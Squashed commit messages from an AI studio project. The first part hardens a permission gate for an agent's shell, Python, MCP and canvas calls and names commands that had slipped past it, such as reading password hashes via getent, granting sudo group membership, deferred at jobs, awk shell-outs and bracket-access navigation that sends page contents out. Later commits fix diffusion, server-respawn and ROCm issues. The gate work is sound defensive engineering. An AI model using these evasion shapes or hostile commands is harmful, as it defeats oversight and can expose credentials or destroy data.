* Split git short-option clusters and close five more gate gaps
- Git combines short options, so `git push -qf`, `git checkout -qf` and
`git branch -qD` never matched the exact-string flag sets and ran without a
prompt. Clusters are split before the destructive flags are checked. Also
adds the short `-f` spelling to the branch set, which moves a ref and can
abandon its commits.
- `getent shadow` and `getent gshadow` return password hashes straight from
NSS, so the read never spells out a path for the sensitive-path check to
find. The database name is gated instead; ordinary lookups (hosts, passwd)
still run.
- The account-management set covered useradd and usermod but not adduser,
deluser, addgroup, delgroup, groupmod, gpasswd, newusers or chgpasswd, so
`gpasswd -a user sudo` granted group membership silently.
- at and batch hand a payload to atd, which runs it later as this user and
outside this invocation's blocklist, resource limits, timeout and
cancellation. They belong with crontab.
- A command word bash builds without the NAME=value form (printf -v, read)
left nothing at command position to screen. A bare variable executed as a
command that assignment expansion could not resolve now fails closed. A
variable used as a path prefix is deliberately excluded: ${VENV}/bin/python
still leaves a literal basename the scan can read.
* Stop prompting on six inspection shapes and close eighteen gate gaps
Over-prompting fixes, which matter most here since not interrupting ordinary
work is the point of the change:
- `git clean -n` and `--dry-run` list what would be removed and remove nothing,
so they are inspection commands. The subcommand was gated regardless of its
flags; a dry run is now recognised in the same segment.
- The listener check matched a module name anywhere in the line, so
`echo 'python -m http.server'` and grepping for it prompted. It is anchored at
command position now, like the server-binary check beside it.
- An MCP name that reads names its SUBJECT, not the action: `get_release`,
`get_invoice`, `search_code` and `get_code` were prompting because the impact
and runtime-noun patterns fired on the noun. A read verb now suppresses both,
while an execution verb still wins.
- Free text is not a statement. An issue body or chat message that mentions
DELETE FROM, a credential file or a path was read as an action. Statements are
taken from the query-bearing argument names, and paths are skipped only for
the prose names, since a path can be carried under any other name.
- curl and wget presence was decided by substring, so `grep curl notes.txt &&
wget -T 5 ...` lent curl's option letters to wget.
Gaps closed:
- git checkout-index -f overwrites the working tree from the index; git tag -d
and -f delete or replace a ref; git switch -C and checkout -B reset an
existing branch the way branch -f does.
- Ending a process (kill, pkill, killall, taskkill, tskill) or the machine
(shutdown, reboot, halt, poweroff) was ungated, though the Python os.kill
equivalent already prompted. setcap grants file capabilities without sudo.
- A network client behind a wrapper (env curl -T) was missed because the client
check ran before the wrapper was resolved. slogin is a standard ssh alias and
was in neither set. wget spells the request method --method=DELETE.
- A tracer (strace, ltrace, valgrind, perf) runs the rest of the line as a
child, so the real command sat in argument position behind it.
- A redirection may precede the command word, so `</dev/null` hid what followed
from both scanners. `exec -a NAME cmd` puts a name where the command goes, and
the Windows `if exist FILE cmd` form puts an operand there.
- In Python: a walrus binds a module or a callee just like an assignment,
builtins.__import__ is the attribute form of __import__, and psutil ends a
process exactly as os.kill does. The psutil check is keyed on the import so an
unrelated .kill() on a user object keeps running.
- Over MCP: a credential carried in an argument NAME (Authorization, X-API-Key,
Cookie) goes out whatever its value looks like; collaborator and team-member
grants are access changes like the role verbs; and a recurring subscription
bills repeatedly.
* Bound the classifier's input and stop prompting on four more ordinary shapes
Found by simulating the whole corpus against pre-PR main on Linux, macOS and
Windows tokenizers and diffing the two, then feeding the classifier adversarial
input.
Robustness:
- The credential-path pattern backtracks superlinearly, so a long argument made
a single classification take seconds. Measured on main as well as here, so it
predates this change, but this change makes the auto gate the default and so
runs it on every call. Text far past any real path, and a command far past any
real command, now fail closed: they ask rather than spending unbounded time
deciding. Worst case over the adversarial set drops from a hang to 13 ms.
Over-prompting fixes:
- A container CLI reading its own state (docker ps, docker images, docker logs,
kubectl get) is inspection. The whole CLI was gated because the escape lives
in the arguments of run/exec, so the read subcommands were caught with it. An
unrecognised subcommand still asks, so the list can only be too small.
- A python payload is screened with the same analyzer the python tool uses, so
`python -c 'import torch; print(torch.__version__)'` runs while a destructive
one-liner still asks. A payload that does not parse fails closed, since shell
quoting may have mangled it. The other runtimes have no analyzer here and stay
gated.
- An assignment with no command after it runs nothing: every terminal call gets
its own shell process, so `export PATH=...` on its own dies with that process.
Verified against real bash rather than assumed.
- For the search paths other than PATH (PYTHONPATH and friends), a relative
entry points inside the session workdir, which is the agent's own directory,
so `PYTHONPATH=. pytest` runs. An absolute or escaping entry can shadow a real
module and still asks. PATH itself counts for every value, because a relative
entry there is the sharpest form of the hijack (`PATH=. ls` runs ./ls).
Net effect on the probe corpus, identical on all three platforms: ordinary and
inspection commands go from 99 of 136 prompting to 0, dangerous stays at 99 of
99, and the always-on hard-block set loses nothing and gains six entries.
* Tighten the permission-mode comments
Comment-only pass over the code this branch added. Every explanation is
collapsed to the fewest lines that still read clearly, redundant restatements
of the code are dropped, and a handful of blocks that had drifted away from the
constant or branch they describe are moved back next to it.
The non-obvious behaviours keep their note, just shorter: an unforced
`git worktree remove` refusing on a dirty worktree, a bare `-c` yielding an
empty attached value rather than None, `.` being the POSIX synonym for
`source`, prose keys being skipped rather than path keys allowlisted, and the
route keeping an unset mode lenient so non-streaming clients still work.
No code, string literal or test expectation changed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate the navigation sinks reached by bracket access
The canvas egress check gated location.assign / location.replace and an
assignment to location.href, and it already handled bracket access for the
fetch family, but not for the navigation sinks. So `location['assign'](url)`
and `location['href'] = url` auto-ran and could navigate the preview frame to
an attacker URL with the page contents appended, which is the same egress the
dot forms already gate.
Both bracket forms are covered now, including a fully bracketed host
(`window['location']['href']`). The names are anchored to location so ordinary
bracket keys stay static: a string's own `['replace']`, an object's `['href']`,
and reading `location['href']` all still run without a prompt.
* Gate seven more ways a command reaches the shell in auto mode
git submodule foreach runs its argument in every submodule, so the payload is
a command in its own right; it now recurses through the terminal classifier and
through the hard-block scan. An awk program can shell out with system() or by
piping to "sh", so the program text is screened for those two shapes while
ordinary field work (awk '{print $1}') keeps running.
setpriv changes privilege and then execs what follows, so it is transparent to
the scan (setpriv --nnp rm -f x resolves rm) and its privilege-raising flags
(--reuid, --ambient-caps, --bounding-set) prompt on their own. fallocate
punches, zeroes or collapses a range in place, which destroys file contents,
so those flags prompt while plain allocation (-l SIZE) does not.
vars(os)["remove"] and os.__dict__["unlink"] resolve an attribute the same way
getattr does, so the module namespace dict is screened with the same key rules,
anchored to a filesystem module so an ordinary d["remove"] stays out.
Removing a package (pip uninstall torch, uv pip uninstall, conda remove) tears
down the environment the backend itself runs in; installing into it does not,
and stays automatic.
The listener check was anchored at command position, so a wrapper in front of
it (env python -m http.server, timeout 60 python -m uvicorn) slipped past. The
module after -m is now resolved at the token level, after wrapper resolution.
Adds 54 rows to the classifier tables covering both directions.
---------
Co-authored-by: danielhanchen <unslothshared@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
Four review items on the diffusion Studio work:
- response_format=url returned the bearer-gated gallery route, which a standard image
client downloads with no Authorization header, so the default response format was
unusable. Mint a short-lived HMAC link instead (the shape RAG already uses for pdf.js)
served by a signed route, and leave the gallery route itself bearer-only.
- A manual gpu_layers=0 load carrying speculative_type="off" -- a value the UI persists
and sends -- read as GPU-bearing, so it took the GPU arbiter and evicted a resident
image/video pipeline even though the launcher hides the GPUs for it. Canonicalize the
mode and exempt "off".
- The curated example import prepared the whole split before the loop stopped at the
10-100 image cap; m1guelpf/nouns is 49,859 rows / 328 MB. Stream instead, with the
prepared load kept as a fallback for a repo that cannot stream.
- WebM export dropped the audio track an LTX-2 clip carries, silently, on the format
offered for web embeds. Mux it as Opus through a resampler + FIFO, and keep exporting
the video alone on a build without libopus.
- The cached-model listing tagged any repo with a model_index.json as
text-to-image, so a community pipeline the image loader's trust rule refuses
still got a row in the Images picker, and a detected-but-untrusted video repo
fell through to that same tag. Gate the image tag on the load path's rule and
hide an untrusted video repo outright.
- A routed diffusion pick only carries a GGUF filename, which is all the chat
picker has, so a curated single-file artifact arrived with no quant and was
loaded as a pipeline: from_pretrained on a repo with no model_index.json. Pass
the page's own catalog spec into the route pick, so a routed pick resolves to
exactly what a direct pick on that page resolves to.
- The dataset mutation endpoints checked is_active() and only then handed their
filesystem work to a thread, so a start reserving in that gap changed captions
or removed images underneath the preflight or the running trainer. The
interlock is now registered for the whole request under the lock reserve()
uses, and a start refuses while a mutation is open rather than waiting on it.
- GIF export held every kept frame as a paletted image before encoding; a clip
may be 2048x2048 for 1024 frames, and at the 12 fps target the step is 1, so
one export click could allocate over 4 GB and take the backend down. Downscale
past 720 px and widen the step to keep at most 300 frames.
- seed accepted any Python int, so an out-of-range one passed every preflight,
evicted the resident models, spawned the trainer and only then died in
torch.manual_seed. Bound it to torch's 64-bit range in the request and config.
Comment-only pass over the Python this PR touches: drop what the code already
says, collapse multi-line explanations that still read on one line, and keep
the reasoning that is not recoverable from the code. No code, docstring
semantics or behaviour changes; verified with an AST comparison against the
previous revision, and the backend suite is unchanged (same 37 environment
failures as before: the API integration tests that need a live keyed server,
the flash-attn install hooks, and the GPU memory fields).
Four fixes from the latest review round:
- The GPU arbiter's chat evictor only cancelled the llama.cpp side. The
orchestrator publishes active_model_name once its worker reports success, so
an in-flight safetensors load was visible only as an entry in loading_models
and finished onto the GPU after ownership had transferred. Cancel every
pending load, and give the safetensors branch the post-load ownership recheck
the GGUF branch already had.
- A manual gpu_layers=0 GGUF load runs on the CPU with the GPUs hidden from the
child, yet it took the arbiter unconditionally: it cancelled a running image
or video generation for a model needing no VRAM, then held CHAT ownership so
the next GPU workload unloaded it for nothing. Gate the acquire on the same
predicate the launch-time CPU-only mask uses, as the image and video loaders
gate on their resolved device.
- The staged-download hook subscribes per repo, not per job, so another job on
the same repo advanced the staged queue (starting a load whose scoped files
were still downloading) or wiped a queue that was still running. Compare the
variant each callback carries, like the chat page's auto-load does.
- The video gallery fetched every record of a page into an object URL that
lives until the page closes: 50 clips at tens to hundreds of MB each, for
cards the user may never scroll to. Fetch a clip as its card nears the strip's
edge, plus the selected one the player needs.
Three from the latest review.
The video download plan always asked for the wide base file list, so an LTX-2.3
pick staged the 2.0 base's VAEs, vocoder and connectors that the checkpoint
supplies itself, while the companion files the 2.3 assembly does read were left
out of the plan and pulled inline at load, outside the panel's progress, cancel
and disk preflight. The plan now recognises a 2.3 pick by name (the load keeps
the authoritative header probe, and under-guessing only falls back to the
load-time pull), narrows the base list, and stages the extras in the same entry
as the checkpoint so one repo stays one scoped job.
A pick routed from the chat picker arrives as ?model= and ?quant= with no picker
metadata, so a bare local .gguf or .safetensors was loaded as a pipeline: an
explicit model_kind wins over the backend's filename sniffing, so it evicted the
resident model and then failed on the missing model_index.json. Both pages now
derive the load kind from the path, the same way their own picker handlers do.
A torchao int8/fp8 build takes adapters only at load time. Switching artifact
inside one family keeps the LoRA selection, since the family did not change,
but the load did not bake it, so the next generation was rejected with 'reload
the model with the adapter selection' while the picker still showed the adapter
as active. The selection is now dropped once per resident build, with a message
saying to pick and load again.
Six review findings, three of them evict-then-fail orderings:
- The chat load reclaimed the GPU without telling the arbiter it existed. A
chat load holds no llama-server process until its GGUF has downloaded,
which is minutes, so a competing Images/Video acquire in that window
found nothing to cancel, took the GPU, and the chat load then spawned
onto the same device. It now registers an in-flight marker through
acquire_for's register hook (under the arbiter lock, as the image and
video loads do), the evictor cancels a marked load, and the route undoes
itself if ownership moved while it loaded.
- The Hub-download conflict check ran after that handoff, so a GGUF the
download manager already owns destroyed the resident Images/Video
pipeline and then 409'd, having loaded nothing. It moves above the
handoff, together with the marker it handshakes with.
- The image load released the engine router's transition lock before
registering the load, so a second load choosing the other engine could
unload the still-idle engine this one captured; the load then landed on a
deactivated engine, where generate, status, unload and the arbiter's
evictor can no longer reach it. Registration now happens under that lock
and refuses if the engine changed.
- Training a DiT family on a host with no GPU was accepted: nf4 is not a
CPU fallback, its 4-bit load goes through bitsandbytes, which requires
CUDA, XPU or MPS. The start unloaded the working Images pipeline, pulled
the text encoders, and only then died in the child. Rejected before the
teardown now, and /info stops advertising a precision that always 400s.
SDXL keeps its documented fp32-on-CPU path.
- Both diffusion pages kept the routed-pick marker forever, so re-picking
the same checkpoint (after chat evicted it) neither loaded nor cleared
the query string. The marker is released once the query is gone. The
Images key also carried a stray NUL byte, which made the file read as
binary to grep and other tooling.
- diffusers dropped Python 3.9 in 0.38, so the unconditional >=0.39.0 pin
left pip no candidate at all on 3.9 and made every install that composes
the huggingface extras unresolvable there. The floor is conditional now.
Also fixes tests that were already red on the branch: two hand-built
request fakes had gone stale against fields this branch added, and the
handoff-ordering test only failed on a host with fewer than two GPUs.
Resolves the app-sidebar conflict: main added Hub and Projects rows
inline while this branch renders the nav from navRows in the order and
pin state set under Settings -> Appearance. Kept the data-driven
rendering, having checked both of main's additions are already
represented there - the projects row carries the same icon, label,
active check, handlers and inline New project button.
Main also replaced the sidebar's inline name field with
NewProjectDialog, which owns its own state, so the button no longer
resets a name draft: it sets the move target and opens the dialog, as
main's other call sites do.
They downloaded inline inside the load, so they had none of the manager's disk
preflight, manifest verification, resume or panel progress. Picks now stage as
scoped jobs carrying the loader's own file list, then load from a warm cache.
Reports the repos and exact files a pick needs so the download manager can stage
them with the loader's own file scope. A plain snapshot would add the packaged
root single, transformer shards and fp16 twins the loader never opens.
Both read huggingface_hub's import-time HF_HUB_CACHE, which changing the cache
folder does not update: progress counted the old root while the download wrote to
the new one, and from_pretrained could split one model across both.
* Fix GGUF tool chat server recovery
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Cover MTP precedence and loosen the replay assertion for PR #7424
Add a regression test for the MTP branch of the tool-loop respawn retry: the
file-wide _make_backend stub forces _maybe_recover_from_mtp_crash to False, so
nothing exercised the case where an MTP crash reload is already claimed and an
ordinary same-config respawn must not run on top of it. Cover both the next
tool-loop request and the final synthesis pass.
Replace the whole-payload equality assertions with a field-wise check. Comparing
the full dict pins max_tokens to the value derived from the dead server's
effective context, so a later fix that rebuilds server-derived defaults after a
respawn would read as a test failure rather than an improvement.
Document that the one-retry budget is per model request, not per chat turn.
* Recover from prefill-time deaths and stop respawn racing the MTP reload
Two gaps in the tool-loop respawn retry, both reproduced before fixing.
A child that exits during prefill has already accepted the socket, so httpx
raises ReadError, WriteError or RemoteProtocolError rather than ConnectError.
Those all arrive before the response opens, which is exactly the window where a
replay is safe, but the helper only caught ConnectError and gave up. Widen the
catch to NetworkError plus RemoteProtocolError. Timeouts stay excluded on
purpose: they mean the server is slow, not dead, and retrying one would spend
the 20 minute first-token budget twice. Windows resets connections where Linux
refuses them, so this also covers the common Windows presentation.
_maybe_recover_from_mtp_crash returns False both when the crash is not an MTP
crash and when an MTP-free reload is already in flight. Callers read that as
permission to respawn, so _respawn_if_dead replayed the crashing MTP kwargs and,
by replacing the process, made the in-flight reload abort on its own newer-load
check. Skip the respawn while that reload owns the corpse. The guard lives in
_respawn_if_dead so the plain chat path gets it too.
Regression tests for both, including a guard against retrying prefill timeouts.
* Release the MTP single-flight claim when the reload never starts
_mtp_runtime_fallback_in_progress is claimed before the reload thread exists, and
only that thread's finally clears it. Two statements ran in between with no unwind
path: re-reading _last_load_kwargs, which an unload can null underneath us, and
Thread.start(), which raises under the thread exhaustion that is exactly the
pressure killing llama-server in the first place. Nothing else ever resets the
flag, so a failure there latched it for the life of the process.
That was survivable before, since respawn ignored the flag. It is not now: the
guard added in db78184be keys off the flag alone, so a latch would silently
disable auto-respawn for every later model, including plain non-MTP ones. Read
the kwargs and process once before claiming, and release the claim if the thread
cannot start.
Restore the whole-payload equality assertions. Comparing field-wise was meant to
leave room for rebuilding server-derived defaults on replay, but the payload is
built once before the retry and re-sent unchanged, so the looser check only
dropped seven real keys and added a vacuous seed comparison.
Also correct the docstring: llama-server flushes its 200 at slot start, so a
death during decode arrives with the response already open. The pre-header window
this covers is an upload still in flight or a request waiting behind busy slots.
* Confirm the child exited before spending the retry
A closing llama-server can beat its own exit status: the socket error arrives while
poll() still reports the process running. _respawn_if_dead then took the alive
branch, handed back the stale _healthy, and the caller read that as a successful
respawn and spent its single retry on the same corpse. When that retry failed,
attempt was no longer 0, so no respawn ever happened and the turn died, with a log
line claiming a respawn that had not occurred. The window matters most for the
pre-header ReadError and RemoteProtocolError shutdowns the retry now covers.
Wait a bounded second for the exit status before calling the child alive. The same
race is already conceded in _maybe_recover_from_mtp_crash, whose recovery thread
polls for 5s because the error can arrive a beat early; 1s here because this runs
on the request path, and a genuinely live server, including one a concurrent caller
has just respawned, still returns promptly.
* Tighten the recovery comments
* Harden the respawn path around concurrent unloads and replacements
Two problems with the reap grace loop, both found by review.
Skip the grace when the server was already replaced. A caller queued on
_respawn_lock behind someone else's respawn woke holding the healthy replacement,
could not tell it from the child its own request had used, and waited out the full
grace. That sleep is under the lock, so the waits serialised: four concurrent
generations cost roughly three grace periods before any retry began. Capture the
process before taking the lock and return early once it has been swapped.
Do not respawn a server that is being torn down on purpose. unload_model() sets
_cancel_event and only clears _last_load_kwargs after the kill, so a request losing
its connection mid-unload could watch that deliberate exit through the grace loop,
read the stale kwargs and load the model straight back; a model switch landing
during the wait was reverted the same way. Re-check the cancel flag and the process
identity under _serial_load_lock before capturing the replay kwargs, matching what
the MTP-crash reload already does.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten the respawn comments
* Do not charge the reap grace to a server that is still serving
The grace loop added for the not-yet-reaped race waits on poll(), which for a
live child never returns, so every transient transport error paid the full
_RESPAWN_REAP_GRACE_S. That sleep is held under _respawn_lock, so the cost
serialised: measured 1002 ms for one caller and 8.02 s for eight concurrent ones,
against 0 ms on main. A working install pays this, not a broken one.
A llama-server's listening socket dies with the process, so a loopback connect
separates the two cases in microseconds. Probe it first and return immediately
when the port still accepts; fall through to the grace only when the port is
gone, which is the case the grace exists for. Back to 0.7 ms for one caller and
0.00 s for eight.
Cross-checked on real hardware over Qwen3.5-2B, Llama-3.2-1B, Gemma-3-4B with
mmproj and Qwen3-30B-A3B: decode throughput within noise of main (-0.06%, -3.71%,
+2.57%, +0.29%, against a 54-232% spread between rounds of a single run), output
byte-identical on every round, tool-path recovery restored on the three families
whose model calls the tool, and plain-chat recovery still working on all four.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Make the respawn lose to a deliberate unload in every window
Two follow-ups on the respawn path, both reproduced first.
Check _cancel_event before the socket fast path. unload_model sets the flag before
it kills, so the child is still accepting when the probe runs; returning the stale
_healthy there aims the retry at a server that is deliberately going away.
Close the unload TOCTOU. The old cancel check sat under _serial_load_lock, which
unload_model never takes, so an unload could land entirely between that check and
load_model and the captured kwargs would restart a model the user had stopped.
Snapshot the kwargs, the flag and a new _unload_epoch together under _lock, the
lock unload does hold, so a teardown is either wholly before the snapshot or
wholly after it. load_model clears _cancel_event on the way in, so the epoch is
the only evidence that survives; when it moves during the reload the replacement
is unloaded again rather than left running.
_lock stays uncontended across load_model, which would deadlock a plain Lock and
block /status for the length of a load. Error-path latency is unchanged: 0.6 ms
for a live server and 0.00 s for eight concurrent callers.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
- The trainer keyed its persistent conditioning cache on family and
resolution only, while the keys themselves carry just the caption or
image content and crop variant. One cache directory reused for two
checkpoints, or for the same repo at a new revision, let a warm run
skip loading its encoders and train on the other model's embeddings
and latent statistics. Namespace on the base checkpoint and its
resolved revision as well. The revision helper now lives beside the
cache in diffusion_train_extras and the inference wrapper delegates to
it, so the two cannot disagree about what counts as the same source.
- The diffusion learning rate only checked positivity, but 1e309 floats
to inf and satisfies gt, so the route evicted the resident models and
started AdamW with an infinite rate: the first step destroys the
adapter while progress looks normal and the result is saved. Bound it
below 1.0, matching the LLM schema, which rejects inf for the same
reason.
Two correctness fixes:
- The cache keyed the checkpoint and its companion base by name only, so
a Hub repo advancing to a new commit, or a local directory updated in
place, kept returning embeddings from the previous text encoder. Pair
both with a revision marker: the locally resolved commit sha for a Hub
repo, config plus text-encoder file stats for a directory. Neither
loads the encoders, so a warm run still keeps them off the GPU.
- flow_shift only checked positivity, but JSON accepts 1e309, which
floats to inf, and inf <= 0 is False while NaN fails every comparison.
The sigma table then evaluates s * u / (1 + (s - 1) * u) as NaN, which
poisons every sampled sigma and saves a corrupted adapter while
progress looks normal. Require a finite value.
Six review findings across the Images page and model scanning:
- The quantized (int8/fp8) load path can only attach LoRA adapters
before quantization, but the frontend load request had no loras field,
so every generation after such a load was rejected and each reload
repeated it. Send the selection with the load.
- build_prequant_checkpoint passed no family to the scheme exclusions
while recording the family in metadata, so a Qwen int8 artifact baked
the short-M text-stream linears and was then rejected wholesale by the
loader's family-keyed check.
- Registering a bare single-file checkpoint directory produced no On
Device row even though the images loader can load it; only its parent
worked. Admit that shape when nothing else matched.
- Unload left the Reapply target set, so the repair path was skipped and
Reapply reloaded the ejected model. Clear it, as the video page does.
- Both FLUX.2 bases were trusted for training but not inference, so
Deploy to Create rejected every FLUX.2 adapter.
- Outpaint allocated the grown canvas before downscaling, exceeding the
browser canvas area cap on a large photo; an over-cap canvas is
unusable, so Extend silently posted a fully transparent image and
mask. Scale the source first.
Four bugs in the batched inference path, all found by review:
- A mixed-prompt batch sent a scalar negative prompt against a prompt
list. Z-Image asserts on the length, and Qwen-Image, Krea 2 and FLUX
true-CFG encode a batch-1 negative against batch-N latents and fail in
the transformer's text/image concat. Broadcast it to match the batch.
- The FBCache step-cache reset sat above the chunk loop. diffusers only
resets that state at the end of a successful call, so a forward that
raised (the OOM the backoff is meant to recover) left its own residual
behind and the halved retry died on a shape mismatch. Reset before
every forward instead.
- The conditioning cache keyed on the checkpoint alone, but a GGUF or
single-file load takes its text encoders from the companion base, so
the same checkpoint against a different base reused the previous
base's embeddings. Key the base too.
- Gallery records stored the base seed and the requested batch size even
when a prompts/seeds list drove the run, so restoring the second image
of seeds=[5, 99] replayed seed 5. List-driven outputs now record as
single-image recipes on their own seed.
Also bound strength above 0: every img2img pipeline derives its step
count from it, so 0 leaves zero denoising steps and either raises or, on
SDXL, crashes on empty latents.
read_text raises UnicodeDecodeError, which is not an OSError, so one bad caption
sidecar or video sidecar 500d the info, upload and gallery routes. A flat image
now yields the all-black edge map instead of its own luminance, and the four DiT
loss knobs the trainer implements are declared so model_dump keeps them.
* fix(studio): support hostname-based enterprise proxies
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): strip userinfo from proxy fetch targets
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
* ROCm/AMD CI coverage: arch-table parity, native-Linux lib prepend, RDNA4 grouped_mm, discovery-based shell suite
Three merged ROCm fixes shipped without tests, and the CI wiring that
would have run them was gated on files the fixes do not touch.
Tests added (113):
tests/studio/install/test_rocm_arch_table_parity.py (27)
diffs the four duplicated gfx -> AMD pip-index tables across
install.sh, install.ps1, studio/setup.ps1 and install_python_stack.py,
plus the GPU-name -> arch tables and the torch 2.11 pin allowlist.
tests/studio/install/test_rocm_native_linux_lib_dirs.py (26)
covers #7233: system-ROCm lib dirs prepended ahead of bundled
libggml-hip, the /dev/kfd + not-WSL + libhsa gate, the opt-out env
var, root resolution order, and source parity between the two copies.
studio/backend/tests/test_grouped_mm_rdna4_fallback.py (46)
covers #7292: registration on the CUDA dispatch key, grouped and
ungrouped numerics, bias/dtype promotion, and the Linux HIP<7.13 +
RDNA4 name gate, executed from the shipped source rather than a copy.
tests/studio/test_ci_shell_suite_coverage.py (14)
fails if either shell runner goes back to a hardcoded list or skips
a file without a recorded reason.
CI wiring:
studio-backend-ci.yml: add install.sh / install.ps1 to the path filter
(the suites it runs assert against those two files, so install-only
changes -- the shape most AMD/ROCm routing fixes take -- skipped it),
and replace the 13-file hardcoded shell list with directory
discovery. That list had fallen seven files behind, including
test_strixhalo_wsl_reroute.sh, the only shell coverage of the ROCm
WSL reroute, which had never run on a PR.
tests/run_all.sh: same discovery loop so local and CI agree.
* Test review fixes: assert on outcomes, not on the code under test
Self-review of the previous commit found four tests that passed for the
wrong reason.
1. The arch-table parity test pinned expected gfx ids copied out of the
shipped tables, which enshrined three upstream inaccuracies as
correct: RX 9070 (non-XT) is gfx1201 not gfx1200, RX 7800 XT is
gfx1101 not gfx1100, and PRO V710 is gfx1101 not gfx1102 per AMD's
ROCm compatibility matrix. The expectation is now the AMD pip index
leaf -- the thing the tables exist to produce, and what a wrong
answer costs the user. The three known drifts are listed explicitly
with a test asserting they stay cosmetic, i.e. that the wrong and
right ids still map to the same wheel index. That test turns red the
day one of them starts routing users to the wrong wheel.
2. The RDNA4 device-name test extracted the regex from worker.py and
then matched with it, so it could not fail. Widening the pattern --
the dangerous edit, since it forces the slow Python mm fallback onto
RDNA3 users -- would have been silently accepted. It now reads the
live pattern and checks it against fixed cases, plus asserts the
name match stays guarded by `not _lin_arch` and that the name is
lowercased before matching.
3. The CI-coverage test matched a verbatim line of studio-backend-ci.yml,
so reindenting the step would fail the build while a real regression
to a hardcoded list could slip past a reformat. It now parses the
YAML, finds the step by name, and asserts on the glob plus the
absence of individual filenames. The path-filter test likewise reads
the parsed trigger instead of scanning raw text.
4. A set comprehension in the parity helper had a ternary whose branches
were identical.
Mutation-tested: widening the RDNA4 regex, desyncing one copy of the
name table, dropping install.sh from the path filter, and re-skipping
the ROCm WSL shell suite each fail at least two tests. Verified on
Linux (WSL Ubuntu 24.04) with CI's torch pin: 86 + 48 pass.
* Fix three wrong gfx ids in the GPU-name arch tables
The name -> gfx tables disagreed with AMD's ROCm compatibility matrix on
three entries. Corrected against the "Radeon GPU" list at
rocm.docs.amd.com/en/latest/compatibility/compatibility-matrix.html:
RX 9070, RX 9070 GRE gfx1200 -> gfx1201 (Navi 48, same die as the XT)
RX 7800 XT, RX 7700 XT gfx1100 -> gfx1101 (Navi 32, not Navi 31)
PRO W7700 gfx1100 -> gfx1101
PRO V710 gfx1102 -> gfx1101 (Navi 32, not Navi 33)
No wheel changes for anyone: gfx1200/gfx1201 both resolve to gfx120X-all
and gfx1100/gfx1101/gfx1102 all resolve to gfx110X-all, in all four copies
of the index-family map. That collapse is why the errors survived being
copied into six places -- the leaf-level tests could not see them.
It was not purely cosmetic, though. install.sh's second copy feeds
"Tip: set UNSLOTH_ROCM_GFX_ARCH=<arch>", so a 7800 XT user following the
printed advice exported gfx1100 and made a wrong id authoritative for
every later run. It would also have become a real misroute the moment AMD
split a family across index leaves, as they already do for gfx1151/gfx1150.
Fixed in all six places, which is two more than the table's own "kept in
sync with" comments claim exist:
install.sh _infer_amd_gfx_arch_from_gpu_name
install.sh case "$_gpu_disp_mkt" (banner + env tip; undocumented)
studio/setup.sh
install.ps1
studio/setup.ps1
studio/install_python_stack.py
Ordering is preserved: the gfx1102 arm still precedes gfx1101 in the shell
copies so "RX 7700S" cannot fall onto the "RX 7700" glob, and the
PowerShell copies keep the (?!S) lookahead.
Test changes:
- test_rocm_arch_table_parity.py gains _AMD_DOCUMENTED_ARCH, exact gfx
ids transcribed from AMD rather than from the tables. Agreement between
six copies proves nothing when all six were transcribed from the same
mistake, so the ground truth has to come from outside. Verified it
catches the bug: against the pre-fix tables it fails 6 tests.
- The parity check now covers all six copies. It had four; the two
install.sh copies were being treated as one, and
_WIN_GPU_NAME_ARCH_TABLE was not checked at all.
- test_rocm_support.py's TestGfxArchNameFallback pinned two of the wrong
ids as expected values; updated, and extended with a 9060 XT and a
7900 XTX case so each RDNA3/4 die is represented.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Guard against unregistered copies of the GPU-name arch table
Counting the copies by hand is what let them drift: the in-code "kept in
sync with" comments claimed four, the arch-id fix found six, and scanning
the tree turns up a seventh.
TestNoUnregisteredArchTable rediscovers the copies from the source tree
instead of trusting a hand-maintained list. A table line is one that names
a card and gives its arch; real tables score 9-17 such lines and the only
other hits in the repo are two single-line prose comments, so the
three-line threshold is not load-bearing. A companion test asserts the
scan still finds the known copies, so the heuristic cannot go blind and
pass by finding nothing.
The seventh copy is tests/_zoo_rocm_spoof.py, the fixture other ROCm tests
build their fake AMD host from. It states the mapping backwards (gfx ->
the name torch should report), which makes it an independent witness: it
had gfx1101 -> RX 7800 XT and gfx1201 -> RX 9070 XT right while all six
installer copies were wrong, and nothing compared the two. Now they are
round-tripped against each other.
RX 6700 XT is pinned as a known divergence rather than normalised. AMD's
compatibility matrix documents no consumer RX 6000 card and no gfx1031 at
all, the installer arm is commented "gfx103X family", and gfx1031 appears
only as an index-family key, never as a value a name table emits. With no
external source to correct against, changing shipped behaviour would be
guesswork. A test fails if the divergence ever disappears, so the
exemption cannot go stale.
Also adds the reverse of the AMD-matrix check: a documented card that
matches no arm anywhere is a silent CPU fallback rather than a wrong id.
This cannot detect hardware nobody transcribed, which would need a live
fetch of AMD's matrix and a non-hermetic suite; the docstring says so
rather than implying coverage that is not there.
Verified on Linux: 478 passed, plus all five new guards mutation-tested
to confirm each fails when its invariant is broken.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Docstring said six copies; the list under it now has seven
* tests: run discovered shell tests with bash, not sh
tests/run_all.sh discovered tests/sh/ instead of listing files, but still
invoked each one with sh. Every file there declares a bash shebang, and on
Debian/Ubuntu /bin/sh is dash: test_apt_distro_prompt.sh,
test_studio_home_node_dir.sh and test_with_llama_cpp_dir_link_behavior.sh
fail on bashisms under dash and pass under bash. The old hand-written list
happened to name only dash-clean files, so switching to discovery is what
surfaced it. Backend CI already used bash, so this was a local-only break.
Guarded by a new test asserting both runners invoke tests/sh/ with bash.
